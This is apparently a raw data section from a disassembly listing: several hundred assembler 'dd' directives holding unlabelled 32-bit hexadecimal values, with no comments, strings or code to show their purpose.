dd 97E0208h, 0D3B8790Eh, 4E4498E7h, 59257F60h, 7D47A201h
dd 61724283h, 5562870h, 0A1E596ACh, 0E2E0E3AAh, 18853048h
dd 131EBD1Fh, 1F25D5DFh, 80BE1174h, 3B7EE5C2h, 0ACCE5373h
dd 0C5DC5D08h, 0A83A3616h, 0C51DB823h, 3D1905C3h, 3B5E81EDh
dd 0AA754AF8h, 0C3D802FCh, 6E0701BDh, 39798894h, 1AF101D0h
dd 2315ECE9h, 30CBA264h, 283F4948h, 0DFBB0280h, 0DA7F16AAh
dd 0D4E404A4h, 0D7D685E9h, 0FC3FE060h, 0F417D2B6h, 1C9BF676h
dd 1D6AD380h, 0DA010537h, 4FF95410h, 322F4A2Eh, 0F2028FCh
dd 59A3755Eh, 0EE00D86Fh, 0EBB6588h, 9A952DC2h, 563C76C8h
dd 0C900BB46h, 0AC0C499Dh, 209526EEh, 972DB214h, 16C4B1B9h
dd 1700E4E1h, 30D10C4h, 0CC7BD91Eh, 2761D03Ah, 0E8C0B1C0h
dd 3E69E3B2h, 1F307972h, 6AB7F419h, 85B0BCABh, 3325EAA4h
dd 0E2AC20ECh, 2E259228h, 61486BF7h, 0FC2644E1h, 1D3BC5B9h
dd 16EE81B7h, 15116543h, 0DAC502Dh, 0A5E5B000h, 1E5949A6h
dd 655F0C3Ch, 0A9F0C44Fh, 5095350Ch, 2D2580DEh, 78452E49h
dd 536048E4h, 6616E070h, 1CA4960Fh, 0B2E073Ch, 73D60222h
dd 0FDE827BAh, 59040166h, 0E50395C2h, 8020CF00h, 0B5FE3AA8h
dd 833B4F00h, 38F244D7h, 4B430001h, 7B0DF146h, 30BE7E27h
dd 0D3A4922Dh, 180B7B58h, 0ED4C9404h, 7D6AC050h, 87B72A4Fh
dd 919C9658h, 0CD7F46h, 0B3AFB1CAh, 54388B95h, 0C4FAFF01h
dd 713B9ED5h, 7AF26982h, 0E45BBB07h, 5CBC2170h, 11223823h
dd 0D41648D3h, 0CE10003Ah, 40E9CEE4h, 0F8530A5Ah, 381F00A4h
dd 0A9816398h, 0F216575Bh, 1C032007h, 10CF322Ch, 0D66D78h
dd 0FA664982h, 91CD47FFh, 0F09614E4h, 0E0BB5680h, 4B051872h
dd 16CD276Ah, 5FBE56C0h, 2C27E46h, 820DEA74h, 0CCF2D5h
dd 912A4916h, 10AC80F1h, 0B7467418h, 0D9E4AE00h, 2E7E7A6Ah
dd 0DEFF9409h, 7A95h, 17D2D27h, 39C1F919h, 1C885E4Fh, 41820749h
dd 0B08BC7Ch, 0CC3268Eh, 3DB21F7Bh, 0FF8B68F3h, 0C090924Ch
dd 0BC3AE9CCh, 3C35EB6Ch, 2514DE80h, 122CC1CDh, 587705Fh
dd 0E754B684h, 0C49B4E48h, 83002D8Fh, 6B4D5DA6h, 0B0C9D4Ch
dd 0C532E3EBh, 0A1098B6Ch, 0C564BCE7h, 0ABCE5160h, 29D12B05h
dd 0F00BC47Ch, 11DCA469h, 0B88298A3h, 5E12E381h, 4F1ED494h
dd 754A4A2h, 468E10DCh, 41D13C04h, 7D2F0BAAh, 64040801h
dd 0E0D8EA94h, 0BCB795h, 5133F64h, 0FB063C46h, 61B9BFF9h
dd 7AD89BB1h, 508F8A87h, 9C819DEDh, 0E145C8B8h, 4A530F8h
dd 9E592773h, 0B140A4D4h, 7D04148Bh, 920BB0F7h, 4CFE44Ch
dd 7D551B40h, 40CD48F9h, 532D210h, 4F379A3Ch, 0C0C54012h
dd 0CBE82CE8h, 2123008Ch, 7D795340h, 0B4908074h, 4CC5A801h
dd 9B194290h, 88E4D9A7h, 5FF7AA00h, 0D5E8092Ah, 4CD8FC0Dh
dd 2068541Eh, 49467CE4h, 327C2E7Fh, 0BA900440h, 57E48574h
dd 0C050DB18h, 75DC7B6Eh, 0CD4BB6h, 70C171D4h, 0E47DEFB0h
dd 0B8A8AA48h, 27008CC7h, 99D4A8C6h, 0BC22C011h, 742826CCh
dd 80E4CB21h, 139E79EDh, 1C122941h, 0C893B8Dh, 0CB738400h
dd 0B7C02C30h, 0A0D94BBCh, 25026E11h, 0D7411F09h, 0B3A58C60h
dd 58B6E8D7h, 22CB24E0h, 0E440964Fh, 0E8AE0447h, 6EDA03C9h
dd 54FED331h, 0FA5822h, 0D165E7D6h, 7E730CCDh, 674FA0BCh
dd 59606269h, 7D4ED83Dh, 0E6BE0EF0h, 0B1002802h, 820B3183h
dd 0A1896300h, 95E7992Eh, 0FFE14045h, 80386248h, 274D5601h
dd 59498C1h, 41F13C86h, 6A8F9CDh, 0BF51E9F6h, 74182510h
dd 0C6E418E5h, 79A07163h, 8B2C0D2Fh, 0D4037E18h, 1073162Bh
dd 13C41970h, 54B55FD9h, 6380007Bh, 4B7FB198h, 0CC99B95Eh
dd 9E20C32h, 717CF30h, 7A736C18h, 7BC38E49h, 0F6F22DE6h
dd 3ADC8CDEh, 0FFA6880h, 62CE02B8h, 88726345h, 400B2E98h
dd 0C4A5840Fh, 0D4B8B4C8h, 6BF1DF00h, 65BFBC34h, 0A99F4027h
dd 2AB5873Ch, 9418DCAFh, 8A393B96h, 6A296F5Bh, 0C5F301D2h
dd 0C8AEFC33h, 0F505F273h, 21E5D64Eh, 2BD750BCh, 4F2390h
dd 1D5CF86Ah, 9F091679h, 0EDAB1E80h, 60BA4484h, 146A699h
dd 0CAA2BED7h, 7F2375B5h, 7D223842h, 12E8F2E0h, 0C1312AB1h
dd 2CA2996Ch, 8CCFBCE4h, 6079132Fh, 0B93AD5D0h, 0E4971F0Ch
dd 0BB467408h, 0DE8DAA00h, 30034F94h, 5834DA00h, 0D5916EA9h
dd 964872F4h, 0C93F88D0h, 0BC39293Eh, 48091912h, 657C09BFh
dd 60BDE4F0h, 0B5780FAh, 0CE17FB05h, 0BE05CC3h, 8D026398h
dd 0DD8D335h, 4398540Ch, 0F900C0ECh, 0B4539203h, 5D699Eh
dd 0FC243E6Ch, 90E88674h, 0C8809890h, 0B8D7CEE7h, 0D2B068B7h
dd 8C01EB18h, 0C9203A11h, 207D48B0h, 0D3D90FC0h, 0F700F3AAh
dd 32EFA435h, 20E4391h, 3F79EBB8h, 541A4712h, 3606DC5Ch
dd 0B6AC865h, 0B5D12D1Ch, 0E3C18000h, 0CE483542h, 0CA101238h
dd 6E0F20A2h, 65E0ECD2h, 0BFFCDBAEh, 0E8D9B22Eh, 4D042F80h
dd 0A21C0668h, 79F8F918h, 5818CCh, 0D1DE2916h, 0D5A40A06h
dd 0ECD0F74Fh, 0C0C81AFAh, 6E827CC9h, 0F638D088h, 50E70157h
dd 1085F11Fh, 0AC3B307Ch, 884EFF0Ch, 0FD1D3061h, 18C09EC7h
dd 0C19DFB7Eh, 0F8B26269h, 80C92328h, 0AC3E3E32h, 8E00D023h
dd 0C1F1F5DCh, 9C1697AAh, 40904D95h, 1ABFA782h, 4A69D360h
dd 1CEC03DEh, 0CF744994h, 5801636h, 3913F1DBh, 2E10A018h
dd 0B993EE2h, 0B94A4C07h, 4090CD8h, 0F8161F7Bh, 779C2450h
dd 0CB467464h, 10BF3A00h, 0C9B86ED2h, 0F2DA307h, 0CCC35EF8h
dd 5232C297h, 83FB74F8h, 44DE7810h, 0E8409615h, 0D532B405h
dd 8168EC3Bh, 4BC96B7Dh, 4ABF3400h, 279D0D7Eh, 6222874h
dd 4428C7BEh, 1CF6046h, 0DD24257Bh, 0C7719C59h, 2701BE18h
dd 0F5FCE37Dh, 12B1DD1h, 3C6E9230h, 0E2CC20A3h, 0FC0E02F1h
dd 2A6A79B8h, 4623403Eh, 0EFE52B00h, 97398E4Eh, 0C291C49Dh
dd 0AB500F82h, 65DCB255h, 60CFC458h, 9C96E050h, 873080BCh
dd 93EFA053h, 6E9BBB14h, 548217F8h, 922DD0E7h, 3B750480h
dd 4912E3C0h, 0CCAD3F83h, 0AA2CBDB8h, 467418DEh, 122F3BD0h
dd 8C49DD42h, 9FF04892h, 4FC70916h, 55007E5Ah, 6ECB75DDh
dd 95EF1F50h, 84907898h, 4DCD096h, 0CF4B8358h, 0F418870Ah
dd 0B9C0044Ah, 89F9CACh, 0E125A6Ah, 83BD34E0h, 9613A90h
dd 0ACDBC65Fh, 0DAB7BFC0h, 0BD00EC98h, 5D62967Bh, 0CAD3737Dh
dd 0C2448460h, 0F6004932h, 0BFBA11E9h, 44D2AC23h, 0C82FA14Ah
dd 5D0A4421h
dd 4000B7B0h, 0B9D15341h, 0FA7D79h, 5F7DE2DEh, 753A6BF2h
dd 0CA733207h, 104C895Ch, 0FF0B0368h, 9E2F0FCBh, 9300783h
dd 2348219Bh, 0E9C401FFh, 0E04F8D7h, 8818805Dh, 76B2ECD8h
dd 5E3C0854h, 0F981738Ch, 6FB0C539h, 0D2531180h, 7DDA6041h
dd 0F28C2019h, 21804D09h, 4F41CA33h, 6F00938Bh, 0EF4DE13h
dd 0B95D65h, 0F5D52855h, 3DDA5802h, 0CFC02164h, 0D8FF0860h
dd 11070F23h, 20490061h, 78920CFFh, 949300BEh, 0E37FE26Eh
dd 153096FDh, 88DFB08Eh, 1623A22h, 5F80386Fh, 547FD0B0h
dd 0F43E4F0Ch, 0C111084Ch, 0B0573421h, 9018DBB3h, 0C619FC61h
dd 519F00B5h, 0AA07EF64h, 4530FB21h, 0BCD6686Ah, 50C0393Ch
dd 601E70E4h, 23D4B023h, 1911347Fh, 0B05BC000h, 48B6AF1h
dd 89FEBE70h, 0FB18F47Fh, 0F0608F41h, 900265F9h, 69060CDh
dd 0F10DAFFh, 0A2DC9DF7h, 0FF1E4B07h, 0E3F01298h, 0AC7AEF7h
dd 5F0A05DCh, 0B8648ED0h, 8F5C89F8h, 0CE5E39C0h, 177DE11h
dd 0DB85C1C4h, 8002B863h, 7DFB7C29h, 58E1A40h, 8189DC23h
dd 0C9E022D9h, 11FF0A30h, 88170FCEh, 2247809Fh, 56A2B9FFh
dd 26827A01h, 8F45B8FDh, 7CB30230h, 29B07A3h, 0E93CB611h
dd 74E01C03h, 3A54A5F0h, 1053D234h, 8C763C2Eh, 0E746F503h
dd 0E0B8AD8Ah, 5387D70Ch, 11B2E054h, 0B7CE033h, 0D88A506Eh
dd 12A200B5h, 9B0559C5h, 1B0C1BAh, 90E60F1Dh, 513BC831h
dd 80D3B891h, 0FD4FF14h, 0D89D48E7h, 400C4DB1h, 0BC741298h
dd 58981F2Bh, 6054578h, 0C36067FDh, 5D601890h, 0F2237521h
dd 68464824h, 21C020C8h, 437FD6B0h, 59368024h, 1E2528B0h
dd 40521261h, 0F71CE282h, 0D13E0CDEh, 0F4F20694h, 30C08B56h
dd 0A388D45h, 3849EB0Eh, 79FB014Ch, 0B4CD611h, 45F49840h
dd 0C5AA026Dh, 3972A9F7h, 0C4464864h, 5F41D102h, 4631C5DAh
dd 41C93210h, 17F19A1Ch, 7F0BC840h, 0EECE5BFh, 0EE955986h
dd 47C8740Dh, 3E7B932Ch, 9A003878h, 0C107C9D9h, 336F6CD8h
dd 8D08C0B9h, 0D17F3100h, 90FA0C9h, 852924FBh, 0A02C04h
dd 0F4D826DAh, 0F0C063FAh, 3387C3F6h, 738E0716h, 4956808Bh
dd 18CCE091h, 0D9FF1C15h, 2C9DD20Fh, 0D7D4EA0h, 3A74100h
dd 0FCC07ADAh, 0AF6E0906h, 0D89F39D3h, 3B804611h, 43F9A24Bh
dd 1711C100h, 83032B5Eh, 646C48A1h, 6FB18735h, 253C02BCh
dd 48056164h, 9D1718h, 0C0C2FE56h, 374ECD01h, 86575C3Ah
dd 2F60A47Ch, 0B423429h, 629C13A2h, 0D030C748h, 0DA221141h
dd 805E88CDh, 3441C831h, 94E28B21h, 0A92849C3h, 42FBE825h
dd 0A61307F7h, 59D7E02Ch, 88E401Ah, 0C9D58071h, 87F8C113h
dd 0C9CD8300h, 107F5719h, 666B213h, 86759EF2h, 0FB890C78h
dd 0FD188B3Dh, 18400548h, 366138F3h, 6EC92472h, 0C7A1110h
dd 2143E595h, 0E3BB1307h, 85900170h, 27ACCDh, 9E4FBh, 2884D9C4h
dd 58D788C2h, 0E2C82302h, 0D88A8211h, 9C0E019Ah, 84D20941h
dd 2944E487h, 606140C5h, 0B0A5E84Ah, 0DB80D291h, 0B5DA2541h
dd 1C4C448Ch, 0BE41D300h, 0AE60D272h, 74A81502h, 0DB809C5Bh
dd 0E8C115C9h, 7D97448Ch, 3C9D300h, 0D6E62FA4h, 5DD21C93h
dd 2EE78067h, 955559B5h, 0E251AD07h, 0AE34DFC5h, 808F0885h
dd 35C76488h, 0EFD097F7h, 0F4459E1h, 0EA7D0786h, 6FBB6E1h
dd 0A2D43341h, 54C8339Fh, 920B6D13h, 10BD63D9h, 0DE140AA0h
dd 61B20E29h, 0ECAE1102h, 0C2DCE0A4h, 0BC97F873h, 17804991h
dd 0D4796F29h, 29B60E3Bh, 4D7124E0h, 0CD0CB318h, 0A9905F53h
dd 1D4007AEh, 705AA078h, 0C12284FCh, 646C180Bh, 0C70C10BCh
dd 3B1304BFh, 845DA7B3h, 769C3A4Ch, 122A008Ch, 0B5F75F2Bh
dd 271F5361h, 0C3537437h, 483BA013h, 2B011823h, 1C670887h
dd 3D26F220h, 58B0BDC8h, 626812F9h, 0C289900h, 43A3DCBFh
dd 83110BE3h, 4820A4DBh, 0FCBE7178h, 645C0540h, 60C8E0E4h
dd 10CDFF09h, 0C89E1F0Fh, 214A8062h, 6A640DFFh, 40D1CB00h
dd 0BC5FFAE6h, 608A019Fh, 7AF57037h, 7EE8829Ch, 0E04401C3h
dd 13D927B4h, 404D0905h, 6706FD10h, 77702EC6h, 4BECC4A0h
dd 377928BBh, 32158F30h, 0AF78909Fh, 1100A844h, 819BFBB0h
dd 0EEB76521h, 2C58F06Eh, 3F790EB1h, 458C5913h, 2E563260h
dd 3D9C2340h, 7CA67785h, 67AC0028h, 0E4C68F4Ch, 61F1D0Bh
dd 32455D58h, 0FF6115C4h, 7AAD7AB1h, 3AE1C00h, 8B11DBF9h
dd 2E15B510h, 0C7815F01h, 20ECDCE2h, 0F0CD83Bh, 36016388h
dd 4DBF0966h, 0E2FFB929h, 22DBDFDFh, 3E05558h, 0BD89D477h
dd 7A160E9Dh, 0CBEFC183h, 0CB19C8ECh, 6C0D2B00h, 891857B8h
dd 0F5CF919Dh, 3517B83Bh, 0ABC30286h, 67B070E6h, 0DD000A99h
dd 0CDA7A149h, 1BE789Eh, 2B55ABFh, 7BD98C66h, 3AACE5EDh
dd 3C93EB01h, 74DBD8Bh, 0C1F6B680h, 97840F04h, 81662DC0h
dd 0B55128DFh, 0EE80095Ch, 262ACC21h, 0D3711CCEh, 95FF83FAh
dd 46583175h, 15AD18B9h, 2DFC5B0Ch, 0B57FC32Bh, 306D8767h
dd 51D7031Bh, 20E99ECEh, 1F443D1Ah, 0F0FAF066h, 38086834h
dd 23391CB9h, 0AB2FD8h, 0AC598889h, 1CD304Fh, 9D0376B7h
dd 89153h, 0D0C45233h, 0BA04096h, 0C08B5F80h, 0D9A94855h
dd 0FBB40022h, 6E1F889Fh, 0C3728B25h, 0BC36D849h, 92DA001Ch
dd 0C735BEACh, 2A44D185h, 7F5D2F4Fh, 8081B55Dh, 99279492h
dd 0D10B754Ah, 55F7B70Fh, 0BB2C6B68h, 736CCE02h, 0F7DDCCE2h
dd 0DF3E00F8h, 6556AE54h, 0E6BAF8B5h, 31B6B198h, 56AF0CCh
dd 818988D9h, 0BEA5C2E7h, 19BDC8E0h, 9DE42C6Fh, 0C05E18Ch
dd 1C029AD0h, 3823850Fh, 4B6EEE5Eh, 0FF980305h, 942D1D85h
dd 0F44306B5h, 41290F1Fh, 1325D5F3h, 45762060h, 0B96E1D41h
dd 2E4AC54h, 609C52DBh, 0C8908A0Fh, 0BC014E8h, 2D5A2E42h
dd 73960095h, 0BE57558Ch, 0CF7679CEh, 5B008878h, 525E9B9Ch
dd 6F25B533h, 61058E10h, 4A6BE90h, 0CA8F57B0h, 586A3902h
dd 4810BC4Eh, 1896F5FEh, 2F028D0Fh, 1390F38Bh, 89BE94E7h
dd 0C0BFC70Ch, 6B618DA2h, 1E33A584h, 0FC2FCFEh, 0BE660012h
dd 0DB90CC59h, 2F90144h, 2A84F681h, 39CD6E6Bh, 57891FE0h
dd 55BD152Bh, 0CE618D07h, 3552BBDEh, 569913D4h, 0E3E8D7DBh
dd 5E6B458Bh, 0D5CDDFC6h, 0B842E06Fh, 0CA9EE5Dh, 0A3DBD33h
dd 8F720F62h, 0D3AA2BD7h, 81E08B74h, 0BF0579F9h, 0E9CB3A5h
dd 0B399F6EBh, 0D95FE07Dh, 74280AEBh, 28AC4BF1h, 0F39603A4h
dd 0FFF7D6E9h, 0BCB6028Dh, 4280E827h, 0DE3FE4CBh, 0BD10C4B0h
dd 0D04008EDh, 201B4191h, 6001C169h, 0A2EDBE56h, 0A0306B7Eh
dd 9EF1599Dh, 95BF613Bh, 0EB0E1A31h, 0E45DA004h, 2F5D04A0h
dd 4285AA83h, 8B8927E7h, 5BFA098h, 10B769C2h, 0FAF38050h
dd 42C8908h, 1DE6C24h, 920B3403h, 0A0C99531h, 0F10D8799h
dd 56303CB9h, 0AC93AD6Bh, 76610511h, 46AEFB4h, 836E6FA7h
dd 5060FE79h, 2302DBE2h, 0D13DB106h, 2C491816h, 0B703378h
dd 0E6D71BB9h, 34C600D2h, 456483ECh, 3D7D22D8h, 823FF800h
dd 4C5818C5h, 83350BE1h, 4DD505C0h, 458460FFh, 4A5C16B8h
dd 9188C0D6h, 60AA2F1Ah, 0D12CF2D6h, 9524295Fh, 908AA019h
dd 0D8801850h, 0E3A87EEEh, 8A6014EAh, 9B02E9FAh, 905E6193h
dd 58715BDDh, 0AAFC4F40h, 0CE978C4h, 9507BCC9h, 17C49AA9h
dd 8218112Fh, 4214428Dh, 0F183827Ah, 0F2020906h, 31000161h
dd 921EA98Dh
dd 0F29D0964h, 2B0022B1h, 565AA3D7h, 0D3FF4F16h, 0C0B1DAEFh
dd 1D76A83Bh, 0C5BD1889h, 29857F15h, 3FBFB1A8h, 72175112h
dd 2CE93614h, 5FAD4D3Bh, 25E50AB1h, 0F77C663Fh, 0C18337D0h
dd 0E4BE7F0Dh, 0D5C249FDh, 0AFBD0185h, 2CB565E4h, 0D8CD11DDh
dd 1703B86h, 1D64CBA7h, 78BB9660h, 0B8182500h, 0B9943CF3h
dd 3D9D2A8Bh, 2D5248F8h, 5ECB7F09h, 0C2A0DF8Dh, 70A2D3F7h
dd 0DB5C0B29h, 90992228h, 2F7D2072h, 2BBD830Ah, 0DC31AE01h
dd 24AF5784h, 129377Fh, 0C5204D80h, 80AA287Eh, 42D5BECCh
dd 1DC8000Ch, 0B602745h, 1E115BDh, 757781E9h, 0C71CDDE0h
dd 0CE648551h, 0D17BF5h, 2840CE07h, 7E072CF3h, 0C2F4C5Eh
dd 0A28680BEh, 4CC9ECFAh, 0F03E03A3h, 2A5D5EAFh, 2FA14CF3h
dd 0F2905338h, 997D301Dh, 0BE0BE000h, 3972F59Ah, 5D399002h
dd 8D242A69h, 23816004h, 0CFE5FEFFh, 24192410h, 0DB8C660Bh
dd 8F90E877h, 635C001Ch, 17CF4B48h, 870BD890h, 0F57E10F6h
dd 2C9670C9h, 8C14F81Dh, 1A1B8548h, 51820361h, 0DEEDA689h
dd 12396200h, 0DDAD28DAh, 605D1602h, 0F690BF90h, 3F0621h
dd 178F5A80h, 1291F050h, 0BFFF2200h, 6997D3F5h, 0BABB15Fh
dd 6D7F90CCh, 7745607Ch, 6A00DC23h, 0BE51578Dh, 2459BC39h
dd 0A045F68h, 0F69B03E5h, 5EB02538h, 5D86BBFh, 609A84C5h
dd 0A0E678C0h, 27469090h, 0C0F61C9h, 0ED7D704Bh, 38936031h
dd 8AE2BE72h, 41DB7D01h, 0BE971E4h, 169E4040h, 49740720h
dd 0F451086Ah, 3A8F804Ch, 0B6300F6Bh, 0C9CE96D8h, 6BA38D6h
dd 15F8874Ch, 7D4A288Ch, 0DEFE1EE3h, 35572F8Bh, 0ABDF8BF0h
dd 0AA093B50h, 204E8C1h, 211FED99h, 0E433E2F7h, 12C02D1Dh
dd 8950D82Bh, 0BA245B1Ch, 0ED02A36Bh, 60F8981Dh, 80F9CC80h
dd 2CE361F0h, 0CE8C4B4h, 5D2AED40h, 1C00CAD8h, 0BB2973C9h
dd 258B1495h, 0BBBA5EF2h, 2E64F34Dh, 5079A9C3h, 240F3B79h
dd 2913F9B7h, 181CD15Eh, 69DB0071h, 0CCDC2D2Bh, 13905497h
dd 16F624B0h, 12613C80h, 0C253830Fh, 0E4AFC82h, 589453F5h
dd 220051BBh, 592C64BCh, 0DC8C0FB8h, 2F322421h, 91571D5Fh
dd 0B005811Ah, 37C03B95h, 0B5293C0Fh, 8B7F2FA0h, 5B78A393h
dd 79A9096Eh, 8701F98Bh, 2537E9EEh, 0B8532D3Eh, 0BDC10013h
dd 770932C2h, 8899FC37h, 2380969Dh, 1A6BD9DFh, 847B00E1h
dd 0BF7A2980h, 89126288h, 74545F02h, 6BAE5B6Eh, 61D80018h
dd 9E772A7Fh, 0F7132F22h, 895790D7h, 58D5448Dh, 23F19AB8h
dd 880F0BA7h, 2BE294Eh, 40E8BA5Bh, 9CD18570h, 0C9611617h
dd 94A96B71h, 0D3CC7800h, 0D6AF5FA7h, 6071BD05h, 5D8088E0h
dd 9008A90Fh, 819970E5h, 46696C5Eh, 2C01F0B1h, 0B0630284h
dd 75FE2723h, 0B1C96841h, 1C51D2C7h, 0D9709104h, 38766DABh
dd 0B09670E0h, 0E25202DEh, 5937CAF5h, 90B6DD8h, 6C1B45B5h
dd 8971444Eh, 2ACD8516h, 281B728h, 3267C4EFh, 166D5B14h
dd 9D2BC5E3h, 2EA5AB04h, 62825309h, 37DB5EF1h, 69E2A12h
dd 50E6BFC7h, 41E92E8Dh, 5A7BE88h, 8B76A05Ah, 0EEA6BBC0h
dd 12430AB0h, 1CD76C3Eh, 3A16888Ah, 0B06F90BEh, 0AB00695Bh
dd 959DC1F3h, 3A096B06h, 0AF96117Eh, 4554D757h, 0D5ECC1F0h
dd 0B182400Dh, 0CFA03D79h, 0B235D781h, 0B6BEA2ACh, 886AB3C8h
dd 16E3BAABh, 8FBECF7Ch, 5A0D22F1h, 89D530F9h, 2C5A3DB5h
dd 973ADB74h, 0EB001C23h, 0A63A22AFh, 496C160Ch, 26372952h
dd 1C67B1A8h, 50D9AD7Fh, 904BF01Eh, 2D242C08h, 0CC5DBD8Bh
dd 419C00D7h, 8E52ADA7h, 6302B50Dh, 847EB233h, 186BEAE5h
dd 25F4E4h, 0A429F21Ch, 2EE7EDD2h, 8C04BEF2h, 5E100136h
dd 2A0C5182h, 0A7D0867h, 0E98D2902h, 0AFD3DF11h, 166E978h
dd 0A0BD7F6Ah, 8281ABE7h, 8509FB9Eh, 299A4B21h, 0D1CAF212h
dd 9C91818h, 3D104B1Bh, 0A0C0A7EDh, 5B29AB90h, 0AA16BA85h
dd 0B384269Bh, 0C2019B02h, 0DFF63C35h, 290C8550h, 8A14C595h
dd 915CBD60h, 0B3CC3193h, 3EB60682h, 0D0BEEFC8h, 0F60BB802h
dd 6AB19509h, 8AFF1884h, 0A5AE0526h, 0FABD9460h, 611F21B7h
dd 0C323B89h, 5D8E439h, 0AA22EBh, 84916AF8h, 2E1678B6h
dd 4B03A40Ah, 0D4767F64h, 7B50C800h, 8BC27545h, 958918C1h
dd 0ADBF5955h, 5A60DB38h, 180FF37h, 0D415798Dh, 0DA500DF1h
dd 612A4025h, 0F816D294h, 0C2DF9AFBh, 0DD4E1FA8h, 7C7A56F2h
dd 8314D00h, 493664DEh, 3892D34h, 808E3C9Ah, 9000A3F5h
dd 3E35BE53h, 5F0F7574h, 2740BF50h, 6DE91BC7h, 0FB61C565h
dd 0D6F082F6h, 933C98E4h, 8B9A05BBh, 0A2FE6AF1h, 0A45C16F2h
dd 7CB19CFFh, 19690900h, 5E08B1FAh, 0D8F0C156h, 7606230Ch
dd 805DF000h, 6EB10EC8h, 7EC90327h, 5485618h, 0E6FA5C0Fh
dd 7096A02Bh, 75F1D0F5h, 66340A6Fh, 0ADEB638Fh, 6B184509h
dd 490053D5h, 0AB18C8Fh, 0A587B65h, 24734ED9h, 68908CCh
dd 0F24C520h, 60463F83h, 6F36250h, 0DF061FEh, 754AFD98h
dd 0F56A4F0Bh, 6BC0FECDh, 1164671h, 0BFE9AA58h, 8ED5C54Dh
dd 118D0F4Fh, 1206355Ah, 8DC35664h, 0B8C82905h, 0D6720180h
dd 37A6E1Ah, 33EC6FBDh, 53D3FF0Ch, 5B65EF6h, 73EE961h
dd 0E2B1FD68h, 0B839090Ch, 7A010DA8h, 3C8B8F9Eh, 0A4E9A54Ch
dd 0D7F3EB68h, 8BFC3B04h, 0ADD5C19Dh, 0A70BE26Fh, 8302C98Ch
dd 0E6091C31h, 8D090DE5h, 3D18186Dh, 805C22CFh, 3F83F9C1h
dd 235A2ABDh, 1E4E2ECCh, 2200276Fh, 0D7BE9B6Fh, 7C3D358Ah
dd 7F21EBE9h, 88B090C4h, 0A3CC76D3h, 318A4B0Fh, 10AAD01h
dd 114132E9h, 1E49F6B7h, 64F8923Dh, 0BB6291Fh, 37B57980h
dd 0A68DCEAAh, 34F55AC9h, 9F87F18Dh, 92E02D9Ah, 3C0F41E1h
dd 65448D80h, 0ACC3FD7Bh, 2D2525E7h, 82DCC51Bh, 5220128Bh
dd 130EDEh, 4FCA3D83h, 9438156Eh, 71E4B502h, 415F1169h
dd 0FEA85EB0h, 0A7E915F4h, 0E4ECE903h, 48611826h, 6D25B01Ch
dd 8BCBC0D6h, 0E62F0348h, 0C135F570h, 0C411CC81h, 0E8AE9A49h
dd 1E00DC51h, 6632E193h, 75C5692Dh, 0DEBE137Dh, 8828CFEDh
dd 0EC51C015h, 7CBFB523h, 221127B3h, 697A2056h, 5E0740h
dd 0CE81C38Bh, 6E95EA97h, 5D2FE29Ch, 0E78122B5h, 0C19531BCh
dd 143DD1CEh, 87003EE9h, 0D82E70A9h, 2B74F9C5h, 16DC3FB4h
dd 8564E5D2h, 3183A03Dh, 6812A55Ah, 0EC331A8Ch, 8D0F61C9h
dd 0C60AEF81h, 385A38D3h, 262BF0FCh, 4E6385Ah, 0A51C21B5h
dd 4EA87FFBh, 59B7B02Fh, 8201BC93h, 199D89F7h, 0A351A7A8h
dd 27C47631h, 8E90EEE3h, 373C1B55h, 0C4701C0h, 8BC87A5Fh
dd 0EFF530E4h, 0F0265369h, 214DA569h, 0A7FBC0CFh, 42E92C37h
dd 0C1330008h, 0C868EDDh, 1A57924Ch, 0B7F58D29h, 7B9E660h
dd 16B74093h, 40A30ED5h, 226A4Ah, 55F17664h, 126BBF5Ah
dd 5251E67Bh, 716F5Dh, 2B565F98h, 91114DB5h, 53BF835Eh
dd 0E4BF1D01h, 0C0179BD8h, 716508FEh, 0AC584838h, 18C1AE8h
dd 0FD432BD7h, 0D8A03BF5h, 2F5A85BDh, 96083E37h, 7F3389F5h
dd 92AC6FE9h, 5DBBC19Fh, 0EC7F1D35h, 90539687h, 0DD6F42C5h
dd 5EB1180Ch, 2EB4FB48h, 174FA291h, 0D0D0AE0Dh, 1083899h
dd 6BF7EEFh, 20D3A1BDh, 9BCBE1B8h, 451D445Eh, 5F52366Ch
dd 88941223h, 1F326BF1h, 17D04F8h, 86267230h, 79DB2054h
dd 15B53C1h, 0D7743DB5h, 60C3042Bh, 0B069858Bh, 61F0526Eh
dd 15B45E72h, 4562DC4h
dd 0F8E9FB06h, 0E84C4D54h, 90FD1254h, 15ABC22Eh, 59C08B02h
dd 0C2341FEFh, 0BF8A0AD4h, 2994E0F5h, 73092716h, 72FDF092h
dd 0BE4EB00Fh, 7D3582ABh, 0B4EA55ABh, 4E1852F5h, 34C6DB16h
dd 5ED7940h, 0F3010CB8h, 61B2BC50h, 0AA405AD1h, 9D681C1h
dd 0E5B267Bh, 0E96736D0h, 44790FB1h, 450D9ED1h, 5F08A7F5h
dd 0A200BD6Ah, 5431210Dh, 2614F6E5h, 10964DC2h, 603F18E1h
dd 53F1B513h, 0D95D30E9h, 80BF255h, 146177C9h, 5991B921h
dd 7F3D181Bh, 0FC103BC8h, 4BF0792h, 92B016Ch, 7023FB90h
dd 9A0B26BEh, 826153CDh, 6DF2F922h, 29B7E202h, 7AF50C42h
dd 0ADB51071h, 2D01241Ah, 5795182Ah, 0F480E735h, 4DB7F7E2h
dd 926F48FDh, 4F8C14E8h, 7E1120C1h, 370015C7h, 4C015A8Ah
dd 4EA9DC78h, 0B0B2888Fh, 3CF50400h, 3115F136h, 96733AE0h
dd 8276231Eh, 0A9EA337Bh, 0A3710E7Bh, 0F0051D39h, 0D5518509h
dd 0E53CF601h, 0CD01D8FCh, 0F1ADF433h, 0D4F20A2h, 0FED81141h
dd 0F8EA1CE9h, 4B4D67FFh, 57D983C0h, 0D8F6BD92h, 0CB85F7C4h
dd 0B010B6EBh, 0BD5D4FFh, 493CB690h, 7C8BEA77h, 784503Dh
dd 0EE3F3400h, 0EB36A33Bh, 8C76BD04h, 0E6EF00F6h, 0FC199376h
dd 0AB0EC20Ch, 6E5051F8h, 138D365Eh, 0ADDFF97Bh, 0FCC403DDh
dd 0AB5048DEh, 174BE13Eh, 810C9B62h, 1591DD22h, 2978046Bh
dd 0DDAF1D2Fh, 2963772Bh, 6BAF5E5Eh, 3F6102ECh, 0C2101DB5h
dd 0AFA773E4h, 80881FD5h, 0AFCE3CEDh, 5B282BCFh, 7D18AA9Ah
dd 69B92316h, 9CFEBF02h, 74A09A67h, 0F411B980h, 0C840137h
dd 0F395B8CAh, 5621680Bh, 826AF2B7h, 70CCD9Bh, 88731F50h
